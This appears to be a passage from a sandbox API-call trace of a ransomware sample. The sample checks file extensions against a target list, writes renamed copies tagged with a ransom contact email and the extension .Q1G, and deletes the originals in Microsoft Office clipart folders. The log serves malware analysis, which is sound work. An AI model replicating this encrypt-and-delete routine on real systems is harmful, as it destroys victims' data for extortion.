lpString2=".JPG") returned 1 [0261.821] lstrlenW (lpString=".rar") returned 4 [0261.821] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.821] lstrlenW (lpString=".bz2") returned 4 [0261.821] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.821] lstrlenW (lpString=".7z") returned 3 [0261.821] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0261.821] lstrlenW (lpString=".dbf") returned 4 [0261.821] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0261.821] lstrlenW (lpString=".1cd") returned 4 [0261.821] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0261.821] lstrlenW (lpString=".jpg") returned 4 [0261.821] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.821] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.821] lstrlenW (lpString="J0145879.JPG") returned 12 [0261.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.877] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=35419) returned 1 [0261.877] CloseHandle (hObject=0x39c) returned 1 [0261.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg")) returned 0x20 [0261.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.877] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.877] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0261.878] GetLastError () returned 0x0 [0261.878] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x8a5b, lpOverlapped=0x0) returned 1 [0261.910] WriteFile (in: hFile=0x1c0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x8a60, lpOverlapped=0x0) returned 1 [0261.911] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.911] WriteFile (in: hFile=0x1c0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.911] SetEndOfFile (hFile=0x1c0) returned 1 [0261.911] CloseHandle (hObject=0x1c0) returned 1 [0261.912] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.912] SetEndOfFile (hFile=0x39c) returned 1 [0261.914] CloseHandle (hObject=0x39c) returned 1 [0261.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg")) returned 1 [0261.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0261.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0261.916] lstrlenW (lpString=".doc") returned 4 [0261.916] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.916] lstrlenW (lpString=".docx") returned 5 [0261.916] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0261.917] lstrlenW (lpString=".pdf") returned 4 [0261.917] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.917] lstrlenW (lpString=".xls") returned 4 [0261.917] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.917] lstrlenW (lpString=".xlsx") returned 5 [0261.917] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0261.917] lstrlenW (lpString=".ppt") returned 4 [0261.917] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0261.917] lstrlenW (lpString=".zip") returned 4 [0261.917] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.917] lstrlenW (lpString=".rar") returned 4 [0261.917] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.917] lstrlenW (lpString=".bz2") returned 4 [0261.917] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.917] lstrlenW (lpString=".7z") returned 3 [0261.917] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0261.917] lstrlenW (lpString=".dbf") returned 4 [0261.917] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0261.917] lstrlenW (lpString=".1cd") returned 4 [0261.917] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0261.917] lstrlenW (lpString=".jpg") returned 4 [0261.917] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0261.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0261.917] lstrlenW (lpString=".doc") returned 4 [0261.917] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.917] lstrlenW (lpString=".docx") returned 5 [0261.917] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0261.917] lstrlenW (lpString=".pdf") returned 4 [0261.917] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.917] lstrlenW (lpString=".xls") returned 4 [0261.918] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.918] lstrlenW (lpString=".xlsx") returned 5 [0261.918] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0261.918] lstrlenW (lpString=".ppt") returned 4 [0261.918] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0261.918] lstrlenW (lpString=".zip") returned 4 [0261.918] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.918] lstrlenW (lpString=".rar") returned 4 [0261.918] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.918] lstrlenW (lpString=".bz2") returned 4 [0261.918] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.918] lstrlenW (lpString=".7z") returned 3 [0261.918] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0261.918] lstrlenW (lpString=".dbf") returned 4 [0261.918] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0261.918] lstrlenW (lpString=".1cd") returned 4 [0261.918] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0261.918] lstrlenW (lpString=".jpg") returned 4 [0261.918] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.918] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.918] lstrlenW (lpString="J0146142.JPG") returned 12 [0261.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.919] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=46508) returned 1 [0261.919] CloseHandle (hObject=0x39c) returned 1 [0261.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg")) returned 0x20 [0261.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.919] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.919] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0261.920] GetLastError () returned 0x0 [0261.920] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xb5ac, lpOverlapped=0x0) returned 1 [0261.960] WriteFile (in: hFile=0x1c0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xb5b0, lpOverlapped=0x0) returned 1 [0261.961] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.962] WriteFile (in: hFile=0x1c0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.962] SetEndOfFile (hFile=0x1c0) returned 1 [0261.962] CloseHandle (hObject=0x1c0) returned 1 [0261.962] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.962] SetEndOfFile (hFile=0x39c) returned 1 [0261.966] CloseHandle (hObject=0x39c) returned 1 [0261.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg")) returned 1 [0261.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0261.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0261.967] lstrlenW (lpString=".doc") returned 4 [0261.967] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.967] lstrlenW (lpString=".docx") returned 5 [0261.967] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0261.967] lstrlenW (lpString=".pdf") returned 4 [0261.967] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.967] lstrlenW (lpString=".xls") returned 4 [0261.967] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.967] lstrlenW (lpString=".xlsx") returned 5 [0261.968] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0261.968] lstrlenW (lpString=".ppt") returned 4 [0261.968] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0261.968] lstrlenW (lpString=".zip") returned 4 [0261.968] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.968] lstrlenW (lpString=".rar") returned 4 [0261.968] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.968] lstrlenW (lpString=".bz2") returned 4 [0261.968] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.968] lstrlenW (lpString=".7z") returned 3 [0261.968] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0261.968] lstrlenW (lpString=".dbf") returned 4 [0261.968] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0261.968] lstrlenW (lpString=".1cd") returned 4 [0261.968] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0261.968] lstrlenW (lpString=".jpg") returned 4 [0261.968] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0261.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0261.968] lstrlenW (lpString=".doc") returned 4 [0261.968] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.968] lstrlenW (lpString=".docx") returned 5 [0261.968] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0261.968] lstrlenW (lpString=".pdf") returned 4 [0261.968] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.968] lstrlenW (lpString=".xls") returned 4 [0261.968] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.968] lstrlenW (lpString=".xlsx") returned 5 [0261.968] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0261.968] lstrlenW (lpString=".ppt") returned 4 [0261.968] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0261.969] lstrlenW (lpString=".zip") returned 4 [0261.969] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.969] lstrlenW (lpString=".rar") returned 4 [0261.969] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.969] lstrlenW (lpString=".bz2") returned 4 [0261.969] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.969] lstrlenW (lpString=".7z") returned 3 [0261.969] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0261.969] lstrlenW (lpString=".dbf") returned 4 [0261.969] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0261.969] lstrlenW (lpString=".1cd") returned 4 [0261.969] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0261.969] lstrlenW (lpString=".jpg") returned 4 [0261.969] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.969] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.969] lstrlenW (lpString="J0148798.JPG") returned 12 [0261.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.970] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=38237) returned 1 [0261.970] CloseHandle (hObject=0x39c) returned 1 [0261.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg")) returned 0x20 [0261.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.970] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.970] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0261.971] GetLastError () returned 0x0 [0261.971] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x955d, lpOverlapped=0x0) returned 1 [0262.033] WriteFile (in: hFile=0x1c0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x9560, lpOverlapped=0x0) returned 1 [0262.034] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.034] WriteFile (in: hFile=0x1c0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.035] SetEndOfFile (hFile=0x1c0) returned 1 [0262.035] CloseHandle (hObject=0x1c0) returned 1 [0262.035] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.035] SetEndOfFile (hFile=0x39c) returned 1 [0262.037] CloseHandle (hObject=0x39c) returned 1 [0262.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg")) returned 1 [0262.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0262.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0262.077] lstrlenW (lpString=".doc") returned 4 [0262.077] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0262.077] lstrlenW (lpString=".docx") returned 5 [0262.077] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0262.077] lstrlenW (lpString=".pdf") returned 4 [0262.077] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0262.077] lstrlenW (lpString=".xls") returned 4 [0262.077] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0262.077] lstrlenW (lpString=".xlsx") returned 5 [0262.077] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0262.077] lstrlenW (lpString=".ppt") returned 4 [0262.077] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0262.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0262.077] lstrlenW (lpString=".zip") returned 4 [0262.077] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0262.077] lstrlenW (lpString=".rar") returned 4 [0262.077] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0262.077] lstrlenW (lpString=".bz2") returned 4 [0262.077] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0262.077] lstrlenW (lpString=".7z") returned 3 [0262.077] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0262.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0262.077] lstrlenW (lpString=".dbf") returned 4 [0262.077] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0262.078] lstrlenW (lpString=".1cd") returned 4 [0262.078] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0262.078] lstrlenW (lpString=".jpg") returned 4 [0262.078] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0262.078] lstrlenW (lpString=".doc") returned 4 [0262.078] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0262.078] lstrlenW (lpString=".docx") returned 5 [0262.078] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0262.078] lstrlenW (lpString=".pdf") returned 4 [0262.078] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0262.078] lstrlenW (lpString=".xls") returned 4 [0262.078] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0262.078] lstrlenW (lpString=".xlsx") returned 5 [0262.078] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0262.078] lstrlenW (lpString=".ppt") returned 4 [0262.078] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0262.078] lstrlenW (lpString=".zip") returned 4 [0262.078] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0262.078] lstrlenW (lpString=".rar") returned 4 [0262.078] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0262.078] lstrlenW (lpString=".bz2") returned 4 [0262.078] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0262.078] lstrlenW (lpString=".7z") returned 3 [0262.078] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0262.078] lstrlenW (lpString=".dbf") returned 4 [0262.078] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0262.078] lstrlenW (lpString=".1cd") returned 4 [0262.078] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0262.078] lstrlenW 